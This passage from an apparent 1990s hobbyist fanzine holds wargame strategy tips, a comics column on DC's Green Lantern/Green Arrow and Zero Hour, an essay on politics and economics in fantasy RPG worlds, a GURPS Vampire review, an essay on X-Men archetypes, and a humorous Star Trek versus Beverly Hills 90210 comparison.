chewed off (the Kursk +pocket on the Eastern Front). Know when to give in and retreat. + 6: Better yet, don't get into it in the first place. Operation +Barbarossa has inspired Eastern Front wargame designers for years, but it +was still a stupid move for Hitler. If you have infantry force and your +enemy has tanks, find some good terrain and hide -- don't try to take on +5-inch thick armor with people wearing 1/10-inch thick shirts. In real +life, be very careful what you go after. + 7: Finally, a surprise move can be very effective. In May 1940, +the Germans took out Belgium's strongest fort with 80 men and a lot of +explosives. They would have been cut to pieces walking up to the fort and +attacking, so they didn't. They landed on it with gliders, and the Belgians +were caught flat-footed. The surprise frequently wins. + Update on Blitzkrieg: after additional playtesting, Andrew and I +have decided Red has a definite advantage in the game. The Red side won +all three games we've played. Something to keep in mind when you play it . +. . + Anybody up for a game of Third Reich? +--------------------------------------------------------------------------- + RANTS AND RAVES #3: + -- "Spammin'" By Tom Janulewicz + +Spammin': To speak aimlessly on a mishmash of topics. To stuff someone's +brain with information of questionable content. -- Wired 1.6 + +Road to Nowhere + Hanging on the wall in the guest bathroom of my father's house is a +plaque upon which is written the introduction to Steinbeck's Travels with +Charley. It reads: "When I was young and the urge to be somewhere else was +upon me . . . I fear the disease is incurable." I used to read this passage +every day during my morning ablutions. Of course, as anyone who has seen me +first thing in the morning will attest, any distraction would be better +than having to meet my reflection before its decently shaved, showered and +dosed with coffee. The words came back to me, however as I was preparing +for my own travels. + I recently realized that for the time being Boston is not the place +for me. The last three months of job hunting have brought very few nibbles +and I can't get most Temp agencies to give me the time of day. This leaves +me feeling incredibly passive, so I decided to take action. Decisive +action. Man of the Nineties action. I'm going on vacation (Technically, I +suppose it's a business trip. I've sent out a number of resumes and I'm +bringing some suits just in case any of the nice bureaucratic drones to +whom I've written want an interview.) + Whatever inscrutable Eastern sage opined that "The journey of a +thousand miles begins with a single step" never had to deal with Amtrak, by +the way. The journey of a thousand miles begins with numerous telephone +calls, the making of reservations, packing, a few more phone calls, and the +outlay of a considerable amount of capital. So much for sages. + All well and good, but what does all this have to do with the winds +of relevance which swept through the comics world some twenty years ago? +Good question. Not bloody much, really. It has almost but not quite nothing +to do with quests and finding oneself on the road, which is what I want to +discuss . . . + In 1970, Dennis O'Neil and Neal Adams brought Social Relevance to +the world of superheroes with Green Lantern #76. Until then, the threats of +the four-color world were fairly safe -- caricatured criminal scum, rogues' +galleries and losers with really silly powers, with Supernatural and Alien +Menaces for spice. O'Neil and Adams changed it all. They realized that +simple menaces in costumes were insufficient to a generation that had just +weathered the social erosion of the 1960's. The creators and many of the +older comics readers of the day were disillusioned with the gentleman (and +rare gentlewoman) criminals that the costumed heroes of the day routinely +fought. On those rare occasions when the metahuman gods came down to earth +to break up a mugging, this was generally presented as a clear-cut case of +CRIME, with no thought given to the social factors leading to such +desperate acts. The early seventies readers who had been exposed to doses +of liberal social theory were beginning to find this problematic. + O'Neil and Adams' solution was to take two characters and explore +the American social landscape through their experiences. Comics publication +is a business like any other -- the characters they chose were, shall we +say, low risk (Green Lantern's title was suffering from low sales, and +Green Arrow had spent years as filler material in the back of established +characters' titles). GL was the ultimate space cop and voice of the +establishment; Green Arrow was a hot-headed anarchist, and Green-Lantern +#76 put them in a battered pick-up truck, and sent them off to look for +America. To put this in context, imagine Pat Buchanan and Jerry Brown +taking a road-trip and stopping along the way to fight crimes and +experience angst. + As they traveled, the Emerald Warriors encountered menaces more +insidious than any they had ever faced. The message was quite simple, +really. They looked into the face of true evil and found that it did not +often wear bright spandex or devise cunning yet ultimately flawed death +traps. True evil is subtle. It has lots of money. It has guns and armies of +hired thugs. It evicts little old ladies and forces children to steal to +keep their families off the streets. It makes chemical abuse glamorous and +drives rifts between fathers and sons. It exists in the greed of large +corporations and can poison the heart of even the most stalwart hero. And +rings of power and trick arrows are often insufficient to the task of +overcoming it. + Despite my best efforts, I do not have a power ring of my own, and +revealing the true face of evil is less important to me than getting my own +ARBA team. I am on a quest of sorts, though. It is conceivable that my +efforts will be successful and I will have to move to one of the cities I +visit. I wouldn't want to end up somewhere that doesn't respond to my needs +as a Bitter Alumni, so I'm going to scout out comic shops and gaming +stores. The high point (preemptive pun fully intended) of this mission will +be a pilgrimage to Mile High Comics in Denver, a Mecca of the four-color +faithful. + Tune in next issue for an account of my travels, but for now on to +other matters. + +I've Got a Really Bad Feeling about This + In recent press releases and prepublication hype ("Worlds will +live. Worlds will die. Things will never be the same. No, really.") for +their latest epic, Zero Hour, DC has used a couple of phrases which make +this long-time and usually patient fan incredibly nervous. + Phrase #1: "fix some of the continuity flaws of the DC Universe". +Now wait just a minute here! As I recall, Crisis on Infinite Earths, was +supposed to address all these niggling little continuity problems and get +all of the superheroes back on track. All right, so the Crisis was an +unmitigated disaster, the comics equivalent of letting the Three Stooges +(or perhaps the Inferior Five) wallpaper your living room. For every +inconsistency, the Crisis solved, others bubbled up. So just how is the +second root canal going to help, doctor? + Phrase #2: "the one, true Superman." Unless you've spent the past +18 months in a sensory deprivation tank, you probably realize that Superman +"died" recently. After months of stories involving various pretenders to +the big S, Clark Kent came back from the dead. Or so it seemed. The press +releases for Zero Hour suggest that the current Superman is not the genuine +article (which seems unlikely since there is strong evidence suggesting +that Lois slept with the guy both before and after his "death") or there is +another, truer Superman out there. + It all seems to come back to the Crisis. Without getting too +snarled in the various realities and timelines, suffice it to say that at +the end of the Crisis the "original" Superman (the first one, who debuted +in 1936) was basically assumed into paradise. He passed through a gateway +into a bright light, earned his reward, and the current +young-enough-to-be-a-believable-eighties-and-nineties version of Superman +took his place in continuity. Readers were meant to assume that the Golden +Age Superman would never be seen again. As always in comics, though, nobody +is ever dead till you've seen the body and even then it doesn't hurt to +maintain a healthy dose of skepticism. It seems that the tenuous threads of +the post-Crisis universe are about to be unraveled, big time. Look for the +new DC corporate slogan, coming soon . . . "DC Comics -- If you thought it +was confusing before, just wait!" + +Gratuitous Product Plug + The kind folks at DC recently republished the Green Lantern-Green +Arrow adventures in two Bookshelf editions entitled Hard Traveling Heroes +and More Hard Traveling Heroes. They retail at $12.95 and are well worth +the money. +--------------------------------------------------------------------------- +"Politics, Economics & Role-Playing: How to Design and Run a Fantasy RPG +World" +by Bill Ayres + + Can anyone tell I'm a budding academic? OK, OK, so I have been +brainwashed into thinking that all titles should be long, wordy, have at +least one trilogy of like words, and be separated in the middle by a +colon. At least I know I've been brainwashed. To further demonstrate to +you the extent of professional subjugation to which my brain has been +exposed, I offer the following article in which my professional persona +(political scientist) mind-dominates my fantasy RPG persona (player and +GM). [I should note that I'm not the first one; anyone who has seen +biologist Becky Teed's homemade orcs will recognize this trend right away . +. .] Those who believe that RPGs and the real world should have absolutely +nothing to do with each other should not read beyond this first paragraph. +For those looking to add a little "realism" into their campaigns, however, +read on . . . + [Disclaimer: This article is not intended to be the final word on +any subject it addresses, and any comments/criticisms that ignore this +disclaimer will be summarily filed in the circular file.] + +Governmental Types and Fantasy Countries + Almost every fantasy world we run into -- homemade or +company-generated -- has countries that are more or less modelled on feudal +Europe. This is not by any means a necessity; Tech Level 3 and Feudalism +are not necessarily inevitably bound together. Many other possibilities +exist: centralized empires (the Roman model comes to mind); localized +city-state democracies (Ancient Greece); or decentralized clan systems +(most of Africa for most of history). In addition, many GMs tend to run +feudal monarchies as much more efficient than they really were. In +practice, local feudal lords had a great deal of autonomy from the central +monarchies they theoretically owed allegiance to, aside from paying the +requisite taxes/tributes. In a world where magic (and therefore +long-range, high-speed communication) exists, this could be changed, but +such a development would tend to make the center much stronger, suggesting +an imperial rather than a feudal model. Keep in mind, too, that rapid +communications are one thing; rapid movement of troops is quite another, +and any central autocracy attempting to exert control over a wide area will +need not only the one, but the other as well. Peasants DO revolt, even in +feudal systems (it happened several times in Europe), and a centralized +government will either need to deal with them or have them slip away from +central control. + +Fantasy World Economics + When our PCs go gallivanting out into the fantasy realm, our usual +first stop is into town to buy a bunch of stuff: armor, weapons, food, +magic items (if we have a really nice GM . . .), etc. As 20th-century +Americans, we have lived too long in a monetized society to remember that +the world can be very different. In most feudal societies (indeed, in most +societies prior to the Renaissance), money existed, but was not the primary +means of exchange, nor did the vast majority of people possess much of it. +Local economies in Middle Ages Europe were largely barter economies, with +food being traded for other goods rather than for money. Furthermore, the +accumulation of wealth other than by emperors, kings, and the like was +extremely rare, because long-distance overland trade was not profitable +except for very low-mass, high-value items (silks, spices), which tended to +be luxuries bought only by the very rich. Almost all necessities of life +were produced and exchanged locally, making money less necessary. This +sort of system also meant that "prices" in money or barter goods could +fluctuate wildly from place to place, since there was no market mechanism +to bring them in line with each other. GMs should therefore not feel at +all constrained by equipment lists that give "standard" prices, and neither +should they put up with players who insist on getting the "standard" price +for any given good. + Most adventurers, regardless of their other motives, love to +collect loot. There is nothing most of us like better than to enter a +dragon's lair, slay the dragon (preferably without getting killed), and +then sit around for several hours game time counting loot and revelling in +how much we can buy for all this money. Aside from the relative rarity of +such large accumulations of monetized wealth in pre-capitalist societies, +the sudden acquisition of so much money and its almost inevitable +introduction into a local economy is likely to have extremely significant +effects, to whit: inflation. Even in the largest of cities, most basic +goods are still being produced locally rather than being traded in from +afar, and the amount of gold, silver, etc. in circulation is likely to be +relatively small and confined most to the luxuries sector. PCs who wander +into town with tens of thousands of gold pieces/silver farthings/platinum +platidoos are likely to see prices skyrocket practically overnight. If the +PCs enter a smaller town or village, the effect is likely to be even more +pronounced. Finally, local rulers may very well become aware of these +effects and their source, and may not take kindly to PCs disrupting the +fabric of the local economy (a useful plot device if you HAVE to get your +PCs out of town). + Finally, all economic systems (and political ones, for that matter) +evolve over time -- something you almost never see happen in most fantasy +campaign worlds. Most FRPG world histories assume that the world has been +the way it has been for a very long time, and is likely to remain that way +forever. This is not, strictly speaking, historically accurate, in that +feudal barter economies eventually gave way to centralized mercantilist +societies which gave way (in some places) to capitalist democracy. This +process is +usually fueled, at least in part, by the development of technology which +enables long-distance trade to become profitable, fostering both the +development of a merchant middle class and the production of goods for +export, not just local consumption. Which brings me to my next point . . . + + +Technology, the Military and Development + Most FRPG worlds pay very little attention to the development of +technology over time. We all like to play in a world that is halfway +between tech levels 3 and 4 (I'm using the GURPS TL system, because it's +broadly descriptive and easy. Look it up if you have to . . .); we like +swords, bows and axes to co-exist with full plate and crossbows (both +inventions of the early renaissance). Military and transport technology +don't stand still, however -- unless there's a very good reason why they +should. In particular, most FRPG worlds (TSR's Forgotten Realms is, IMO, +in egregious error in this realm) lightly toss off the development of +gunpowder and gunpowder weapons, usually with the assertion that in a world +of magic, who needs guns? Obviously, the people who can't use magic need +them - which is the vast majority of the population in most fantasy +worlds. It doesn't matter that magic is more efficient than early powder +weapons (which were woefully inaccurate and more dangerous to user than +target); crossbows were also more efficient, but were eventually replaced. +My point is that if you're going to run a campaign world over a significant +length of time (or even if you're going to write a history which +encompasses a significant period of TL3/4), you have three ways of dealing +with this question: + 1) gunpowder DOES get invented, which will change the face of the +campaign; + 2) gunpowder never gets invented, more or less by accident (this is +very unsatisfying); or + 3) gunpowder, for whatever reason, doesn't work on your world (a la +Roger Zelazny's Amber series). +I am an ardent fan of the third option, but I wouldn't push it on anyone; I +simply think that GMs should consider the question for ongoing campaigns. + A related question is the effect of magic, particularly large-scale +magic, on the conduct of warfare. Kenneth Hodges has written an excellent +piece on this subject, so I will not attempt to improve on his thoughts. +It was originally published on the Usenet group misc.games.rpg (I think), +and could also probably be obtained by contacting Kenneth himself (I think +he ought to publish it here . . .) Alternatively, I still have a copy, +which I will happily distribute if I can get Ken's permission. + +International Affairs + Most fantasy worlds have very few types of interactions between +governmental units: war, war, and the occasional peace talks. Usually, +wars are between good, righteous, diety-fearing countries (Veluna in the +Greyhawk world, for instance) and those nasty, evil empires that everyone +knows are bad (Thay in the Forgotten Realms is a good example). This makes +for good moral fiction, and certainly fits well into D&D's "everyone +must be good or evil" scheme, but more complex interactions are possible, +even in a world with limited communications and transport. The most basic +-- but entertaining -- of these is the "security spiral" problem. Two +countries -- neither of which is evil or out to dominate the world -- +exist side by side. One, for whatever reason (perhaps internal stability +and order) decides to build up its military capabilities. The second +country is very unlikely to view this in detached, objective terms, +particularly if the buildup is taking place anywhere near its borders. The +second country may respond in kind, which would trigger a counter-response +in the first, and pretty soon -- hey presto! -- you've got an arms race +and two countries looking very suspiciously at each other. Such situations +can easily lead to war (or at least, border battles), which can create all +sorts of interesting plots and decisions for your PCs (particularly if the +PCs are astute enough to figure out that the two countries are going to war +over nothing at all). This brings me to my final (yay!) point . . . + +The Importance of Perception in Politics + Politics and economics are really nothing more than perception. +Despite numerous commentaries to the contrary, very few things are truly +objective in politics; it's all a matter of how you see them. Economics +works essentially the same way, since money (even gold) is only worth +something if people perceive it to hold value. Many fantasy realms not +only lay out the "objective" situation of which worlds are good, which +evil, etc.; they also assume that everyone knows all of this. But orcs +don't HAVE to all be bad (see Becky Teed's orcs again) - although they may +be PERCEIVED that way. Have fun with perceptions. What you tell your PCs +doesn't have to be the truth; neither does what you tell your NPCs. Run +this way, FRPG worlds can be much more complex, confusing, and (I believe) +fun for all involved. + +--------------------------------------------------------------------------- +Review: GURPS Vampire: the Masquerade +by Tom Tomlinson + + Imagine your life as it exists now. The people that you know -- +whether you love, hate or are totally indifferent toward them -- the issues +that are important to you, the daily routine of work or school. Now imagine +that all of that is suddenly, brutally stripped away from you. You have +experienced The Becoming, and you have joined the legion of the undead. +Your previous life is rendered superfluous without allowing you time to +make the psychological break. You are forced to adapt and leave everything +that you have ever known behind -- if you can even survive the +transformation with your mind intact. + The stark brutality of this transformation and its impact of the +psyche of the transformed is central to GURPS Vampire: the Masquerade +(VTM), the Steve Jackson Games translation of the White Wolf system. Unlike +horror or superhero systems where the vampire is either inherently evil or +simply all-powerful, Jeff Koke's supplement is centered around human beings +who have been transformed, but have not left their morality behind with +their mortality. In VTM, the curse of Caine is a curse indeed. + While Vampires do have powers and abilities beyond those of mortal +men in VTM, they are not the demi-gods found in movies and most vampiric +role-playing. We are confronted with an essentially human vampire -- a +person who awakens and finds that she needs to consume human blood to +survive. + The world of the vampire is governed by two statistics: willpower +and humanity. A character's humanity score ranges from 3 to 20, with all +characters beginning with a twelve. Characters with humanities of 20 are +essentially saints on earth awaiting their transformation back into actual +humanity or perhaps something beyond. Those with a humanity of 3 have been +reduced to such an animalistic state that they are no longer fit to be +player characters. Reflecting the trials of the vampire life and the +strength of an undead's bestial side, it is extremely easy to lose humanity +points (for example, by killing someone when feeding, which is usually +unnecessary) while very difficult to earn them. + With the spectre of humanity loss hovering over him, will rolls are +a constant companion for the VTM player. The character must regularly +battle her inner demons and near-irresistible impulses, reflected in a +variation of the Berserk disadvantage. Will is so important to the VTM +system that Koke has divided it into four distinct sub-categories. These +are: self-control (to prevent one's animalistic side from taking control), +conscience (to retain one's all-important humanity), courage (to confront a +vampire's fear of deadly fire and sunlight) and "normal" willpower (for +everything else). The strong-will advantage must be purchased separately +(at a reduced point cost) for each of these categories. + The introspective nature of the vampire character tends to make the +style of the campaign and the surroundings even more important than usual, +and Koke devotes considerable effort to describing the "gothic-punk" +atmosphere of the VTM world. The setting is contemporary, but in a world +that has always been under the influence of the undead. The primary effect +of the vampires' existence and tampering with world history is a +cyberpunk-like atmosphere of despair. The presence of the Church has also +been strengthened in this time of crisis, leading to a more Gothic +influence. + Several vampiric societies have sprung up through the ages, the +strongest being the Camarilla. This is the de facto ruling body of vampiric +society and is responsible for enforcing its laws. The most important and +often all-consuming law is the Masquerade. Any vampire who exposes her true +nature to a non-undead endangers the survival of all -- and forfeits her +claims to continued existence. Remembering the brutal persecutions of the +Inquisition, Elder vampires insist upon absolute secrecy and will hunt down +and slay any who dare flaunt their nature to the world. + Cities are a natural habitat for vampires, and they have developed +a distinct social structure to handle territorial concerns. Each major city +is governed by a Prince who functions as the vampiric mayor of the city. +She is responsible for enforcement of the Masquerade and other vampiric +laws within in the city, and all vampires who enter are required to present +themselves to her. The Prince controls whether or not new vampires are +created and whether a vampire should be allowed to move into the city -- +vampiric overcrowding is beginning to become a problem. + Political battles are commonplace within vampiric society, +especially because the more powerful Elder vampires will eschew the +oft-targeted position of Prince. While diablerie (vampire killing vampire) +is a violation of ancient tradition, the prohibition only means vampires +will tend to assassinate in secret rather than hold outright wars. The +Elders also attempt to control recently-formed vampires for their own ends, +chiefly protecting themselves. Although the undead are essentially +immortal, they may be slain by sunlight, fire, or the claws and teeth of +other undead creatures. Older vampires often live in fear of these things, +having grown accustomed to their immortality. + The power of a vampire is influenced by its "generation" -- the +number of vampiric parents leading back to Caine, original bearer of the +curse. Most player characters will be thirteenth generation. The difference +between each generation is small, but vampires several generations older +begin to seem like gods with their advanced powers. The basic vampire +package itself is not overpowering, providing little besides the basics. A +vampire is unaging, does not need to breathe or eat, and may use blood to +heal herself. The most powerful advantage that all vampires share is +Vampiric Invulnerability. Vampires almost ignore damage up to -HT, and +survive indefinitely unless slain by one of the causes enumerated above. + The other traditional powers of vampires are broken down into ten +Disciplines, such as Animalism, Domination and Fortitude. Each Discipline +allows a range of powers determined by the amount of points the vampire has +placed into the Discipline. As with other GURPS magics, using the powers +costs Fatigue. The range of Disciplines covers all the powers -- +controlling animals and minds, supernatural strength, etc. -- normally +associated with vampires by one mythos or another, but no one vampire will +have all or even most of the powers available. + Every vampire belongs to a clan inherited from the vampire who +created them. While some are abandoned at formation and never even discover +their clan, most new vampires are "raised" by their creator and taught the +ways of vampiric society and their own clan. Membership in a clan defines a +personality -- rather rigidly, at that (Koke ineffectively explains this as +the selecting by clan members of similar personalities to transform), and +each clan gives a predisposition toward command of three Disciplines. +Players can purchase other disciplines outside their clan's aptitudes, but +must do so at twice the normal cost. This rigidity is a drawback to the +system, but it can easily be ignored, leaving clan descriptions as valid +generalizations rather than rules. + A further inconsistency with the clan system is that most of the +clans of the governing Camarilla are anarchists, loners and lunatics. This +does not directly affect playability, and can be easily ignored or +explained by crafty GM's. The only real conceptual problem I have with the +world is the danger of jeopardizing the Masquerade involved in leaving +one's food alive. Either characters lose Humanity quickly, or a suspicious +number of human victims are running around complaining of bites to the +neck. Either way, it's a little hard for the GM to explain this and keep +the campaign running smoothly. + The system is designed for a thoughtful campaign. While the +vampires are nearly invulnerable, they have few combat advantages besides +the costly Disciplines. Confrontations and occasional battles will almost +certainly arise, but the VTM world is not designed for action-based +campaigns. Sorry, Tim. While vampires are more powerful individual humans, +a gang of humans can overcome even a party of young adventurers (thus the +emphasis upon the Masquerade). A VTM campaign will be focused on the +characters and their grappling with their natures. Vampire fans used to +Dracula and similarly powerful undead may be disappointed, but the focus on +character should make VTM an intense and captivating experience for +committed roleplayers. +--------------------------------------------------------------------------- +Archetypes and Comic Books: The Fall of the X-Men +by Becky Teed + + Chris Claremont introduced a new kind of character to Marvel when +he took over +"The Uncanny X-Men". By taking the symbol-laden archetypes created by Wein +and Cockrum and combining them with the traditional everyman favored by +Marvel, he created characters that were credibly "more than human". +Claremont eventually found the characters more than he could handle, +though, editors and other writers have now stripped them of their +archetypal aspects and focused on other aspects of the characters that +they hoped the readers found appealing. + The X-Men started out as a team of five characters written by Stan +Lee. Like the other superheroes Lee wrote (and almost all of those at +Marvel at the time), they had extraordinary powers but ordinary +personalities. The reader could sympathize with the character's desires +and feelings and imagine what it would be like to have the character's +ability to solve the world's problems. The X-Men were differed from other +Marvel heroes in that they were born with their powers and were feared and +hated by the non-superpowered public for being more than human. Otherwise, +the team and its book were unremarkably average. + Claremont changed everything when he took over, establishing a +brand-new team of X-Men (created by Len Wein and David Cockrum), who were +very obviously more than human. Moreover, several of these characters +resembled archetypical figures from myth and legend. Archetypes are hardly +new to comics (Batman and Superman are classic examples) and have a +powerful appeal, possibly because they remind people of the "superheroes" +in the fairy stories of their childhood. Myths and fairy tales also leave +a deep impression on the listener because they are loaded with symbols +integral to our culture, which have been passed down for millenia. + Using a mythic character allows and obliges, the writer to use and +retell the elements of the myth the character is based on. This can also +be something of a problem, because many of those original stories and +symbols are very confining. The characters can degenerate into sterotypes +and the stories may become repetitive. Claremont made the X-Men into the +most successful long-running series in comics by combining powerful +archetypes with sympathetic everyman personalities. He overcame some of +the limits of the legends his characters were based on by adding +contradictions to the characters, which both made the character more unique +and created an internal conflict. This conflict, when handled well, +allowed considerable character development. Claremont emphasized the +characters' individual approaches to their personal and interpersonal +problems, and even used the X-men's team book format to explore the +interactions between various archetypes. + Claremont's obvious favorite among the X-Men is Storm, a +weather-controlling earth goddess. She reveres life, but has tremendous +destructive power. Despite, or because of this conflict, she eventually +became the team leader. Claremont experimented with ways to rebel against +this simple feminine archetype, first having her go punk and get a mohawk +and a dog collar. Later, she lost her powers but continued to lead the +team as a strategist, her position assured by her her "inner strength". +Finally, Claremont turned her into a child. None of these changes really +went very deep or led to further possibilities. In the end, he seems to +have given up and reverted her to her initial powers and appearance. + The conflict embodied in the character Wolverine progressed further +before being derailed. Wolverine began as a savage beast in human form, +dominated by rages he couldn't control. When he joined the X-Men, he met +Nightcrawler, essentially his opposite. Nightcrawler was an enlightened man +in bestial shape, who encouraged him to develop his "higher self". +Throughout their friendship, Wolverine did just that, although his path +differed in detail from Nightcrawler's. Nightcrawler based his self on a +swashbuckling persona, while Wolverine used his martial arts background as +a source of ethical philosophy. By Annual #11, Wolverine was the wisest +of X-Men. + Unfortunately, this story failed to interest many readers, who +apparently sympathized with the savagery that originally dominated +Wolverine's life. Wolverine could brutally kill scores of villains without +much danger to himself, a condition that many people envy at some time or +another. Every villain in the Marvel universe was afraid of Wolverine, and +catharsis sold better than enlightenment. The editors of Marvel put +pressure on Claremont to scuttle Wolverine's spritual themes and to revert +him to the simple, violent being he started as. Claremont didn't quite +give in, but since Wolverine had his own series, another writer was found +for the job (Larry Hama). There is no longer much internal conflict; the +animal side has won. Claremont's Wolverine interacted with the similarly +complex storm; his best foils now are the rather shallow characters of +Jubilee and Gambit, a child and a thief, and his philosophical center +consists of occasional backwoods wisdom. + Another of Claremont's most beloved characters, Magneto, was the +team's main antagonist. This character was originally created by Stan Lee +as a simple an adversary for the brand-new team, an evil mutant. He was a +generic Lee villain -- petty, cowardly, worldly, and not very bright. Lee +gave him power over magnetism because as a lone villain pitted against a +team, he had to have a considerable and versatile power. Jack Kirby gave +him a costume that would allow everyone to recognize him as the bad guy; it +was mostly red and featured a helmet with horns. His look created his +archetype -- the traditional conception of the Devil is based on an older, +but far-from extinct archetype: the Horned God of the Celts and Pan of the +Greeks. This older reference was reinforced by his powers and his tendency +to build devices pertaining to earth. Magneto immediately echoed European +gods of fertility and by extension forces of nature made human. + Other writers and artists have gradually brought the comic book +character closer to the myth. Magneto became tougher, more courageous and +visionary, a perverse hero in his own right. Roy Thomas added biological +engineering to his list of technologies and had him making new (villainous) +life forms who referred to him as "Creator". He became the Satan of the +mutant stores, rebellious and charismatic. + Claremont convincingly humanized this avatar of a most inhuman +archetype. He wrote Magneto an extensive history as a victim, put him at +odds with his power and gave him a drinking problem. His reactions to the +usual super-powered conflicts became more normal than most heroes in "The +Uncanny X-Men" #150, when he decided that taking over/saving the world +wasn't worth killing children. Claremont reinforced Magneto's Antaen +aspects at the same time -- he was from a grave when he was a child, built +an earthquake machine and had a base within a volcano. He was neither +clearly good or evil, and he had an old-fashioned, vengeful, patriarchal +mindset. His most villainous deeds were the causing of mass disasters +rather than personal murders. He was also horribly powerful, almost +unbeatable. + Claremont eventually reformed him, probably so he could use Magneto +as a regular character. The editors were rather upset with this, since it +clashed with Stan Lee's original conception of the character. They put +pressure on Claremont to "revillainize" Magneto, which Claremont broke down +and did. Claremont bitterly resented the editors' conception of Magneto. +When he finally left Marvel, the last thing he did was to kill Magneto off +so that no more harm would come to the character. The current X-Men +writers brought him back to life recently, had him commit a few senseless +atrocities to make him obviously a villain, and then had the X-Men kill him +off again in an exceptionally cruel and brutal manner. + Claremont also experimented with the story of Faustus, whose theme +was that power and knowledge purchased at the price of damnation. Magik +of the New Mutants (the junior-league X-Men) was a mutant who grew up in +Hell (it wasn't called that, comics code you know), escaped to become a +hero and then returned to overthrow the demonic ruler. Both her magical +skills and the use of her teleportation power (involving a shortcut +through Hell) corrupted her, and her demonic side threatened to take her +over both physically and morally, but she needed her powers in order to be +an effective superhero. + The Medieval "Faust" has several endings -- Faust is either +redeemed by giving up his power or he is finally damned. Magik was lost to +another writer who was not particularly interested in her personal +conflict, and the character eventually sacrificed herself to save the world +from the denizens of her hell (the story had implications that her neglect +led to the world's vulnerability). While friends tried to make it up to +her by rescuing a younger version and effectively bringing her back as an +innocent baby, she was also recently killed off. Retuning to innocence +didn't work for Magneto either. + Well before Claremont left, the X-men had degenerated to a team of +killing machines and embittered, would-be everymen. The characters were +largely static and there were few references to the legends and the symbols +they represented. The new writers are trying to keep them popular as just +another superteam. I think they are doomed to failure for several reasons. + Firstly, the X-Men are not "just another superteam". Mutants +usually acquire their powers as children at twelve to fourteen years of +age, so it's hard to believe they are going to grow up to be ordinary +people in spirit if they are not in body. The other Marvel superheroes +(Spiderman, for instance) have all received their powers late in life, and +are still ordinary Americans molded by their culture. That "molding" +process has been interrupted in a mutant, who has unusual capabilities and +possibly perception as well. The potentially corrupting nature of mutant +powers, especially telepathy, needs to be taken more seriously. + Why do the public hate and fear mutants if psychologically, mutants +really are human? I'm afraid that Marvel, like much of the media, treats +Joe Q. Public as simply envious, cowardly and stupid. They don't need a +reason. But it might be interesting, from a story point of view, to have +mutants as a special case of the human condition. If corruption, even mild +corruption, is a problem for all mutants, that makes this conflict +interesting and the mutants a little less smug and self-righteous. + Finally, the archetypal elements made the stories a little less +predictable than they have become. Lately, a good fight is the way to +resolve a problem in a story, The legends offered alternatives. Also, +resolution of internal conflicts offered the option of completing stories, +usually anathema in comic books as an important source of change. +Wolverine could have overcome his violent aspects and taken Xavier's place +as the teacher of the mutant community. Storm's development had hardly +begun, and Magneto's and Magik's offered a number of interesting +possibilities. + Archetypes are still doing pretty well at DC, though. Superman and +Batman have become big sellers again, and there is a lot of attention on a +comic book which brings back many elements of old stories without the +superhero trappings: Sandman. Perhaps some of the new companies will take +a hint. There is hope for the comicdom yet. + +--------------------------------------------------------------------------- +"Can't Take Trek? Try This" +By Toby Elliott + + Season Seven and Supposedly Last for "Star Trek: the Next +Generation" has left many fans in a bind. Its consistently poor quality has +left them casting about for new shows to replace what was a once a great +series. While the emergence of Deep Space Nine as a superior series has +helped compensate, rabid Trek fans need more. + Trek fans want a similar show that does better than Trek's weak and +tired plotting, scripting, directing, characterization, dialogue and +acting, preferably in the hour-long episodic format. What many of them are +not aware of is that such a show exists on their TV right now. This article +will attempt to show them what they have been missing, no only in terms of +similarity to Trek, but also why it is superior. + The show is, of course, that bastion of drama, "Beverly Hills +90210". + On the surface, they would seem to have little in common. Further +viewing, however, shows many similar threads: the hour length, long run, +dramatic presentation, general overarching storylines, "modern themes" +issues presented as fiction, the alternate reality setting, and +independently casted spinoffs. Higher-ups in both shows wrestle with the +Peter Principle. Both shows killed off a character in the early going. Even +the ensemble casts are similar: the good-guy captain (Picard/Brandon), the +moody, ruffled first officer with Dad problems (Riker/Dylan), the +level-headed voice of reason counselor with mom problems (Troi/Donna), the +Mr. Fixit with a snappy answer to every situation (Geordi/Steve), the +logical character trying to cope with what it means to be human +(Data/Andrea), the gruff, sometimes unliked character with the heart of +gold (Worf/Brenda) and even the young genius geek who turns into real +character by season four (Wesley/David). Although both casts have their +disagreements, they really like each other and most of the conflict can be +resolved by the end of an episode. The TNG casts boldly grapple with the +mysteries of the universe -- the 90210 cast with the mysteries of college. + + + Many of you may be surprised by the similarities, but that's just +not enough. With the weak Season Seven, any show that is to become the +heir to Trek must prove itself superior. + Well, I'd give the acting and characterization edge to 90210. Of +the seven comparisons above, four are won by the 90210 representative, and +let's face it, Kelly is preferable to Dr. Crusher (anyone who needs proof +hasn't seen "Suspicions"). Even at the heyday of the series Trek was +carried by Stewart, Spiner and Dorn. All three of them appear to be going +through the motions now, and Trek has deflated as a result. The cast of +90210 has meshed ever more soundly and is even solid enough to pull off the +occasional bit of ensemble farce. + In terms of characterization, the last two seasons of Trek have +done a lot to undo good work previously set up. In particular, Worf has +been much diminished through weak outings ("Birthright", "Rightful Heir") +that tried to establish his heritage and turn him into a "sensitive new-age +guy with a pony-tail"(TM) . Crusher has had flop after flop ("Suspicions", +"Attached") as they try to find something interesting to do with her. +Geordi has never had strong characterization, Riker keeps being kidnapped +by aliens who attach things to his head, and even Picard has had to drag +himself through episodes like "Liasons". + 90210 simply keeps building on what has been set before. There has +been steady evolution -- you can tell what season an episode is in by the +way the characters act. At this stage, what motivates them is clear. Past +actions come back to haunt them (more on this later). When a character does +something, even something as wild as going to Vegas to get married, its +easy to see where they are coming from. We do not suddenly discover that we +have a long-dead sister, or mother, or father, or relative of the week +who's never been metioned before (Trek's overarching theme this season). +While 90210 has surprises, they remain in character. + Let's look at the plotting of last week's Trek and 90210 episodes +("Force of Nature" and the date rape episode). Both had heavy-handed +messages, but Trek tried to hide theirs behind technobabble. Trek's plot +(warp is destroying subspace) came out of absolutely nowhere, and to some +extent defies reason. 90210's plot evolved over the season and drew on +something from almost every recent episode. Most significantly, the +resolution of "Force of Nature" required yet more technobabble, stuff that +had never been tried before and a stupid, preachy ending that no doubt will +be ignored. 90210's episode wa +s resolved by recalling an incidental event that happened, entirely +independently, OVER A YEAR AGO. If nothing else, this is why 90210 is the +superior show. Trek has an amazing ability to forget the past, equalled +only by its amazing ability to dredge something "out of the past" which +we've never seen before. + Further evidence: when 90210 does an explicit two-parter, one can +usually count on the second part being as good as, if not better than, the +first. 90210 has steadily improved in all aspects of the series since the +first season. There is no consistency is Trek's supporting cast (so where +is Barclay when they need him in all those other episodes?). Trek peaked +early and has been in slow decline. Last but not least, 90210 previews +never give away the solution to next week's episode (something Trek does +with alarming frequency). + So Trek fans, take heart. There are shows out there to be enjoyed +-- just nudge that dial. And if all these arguments are still not enough to +persuade 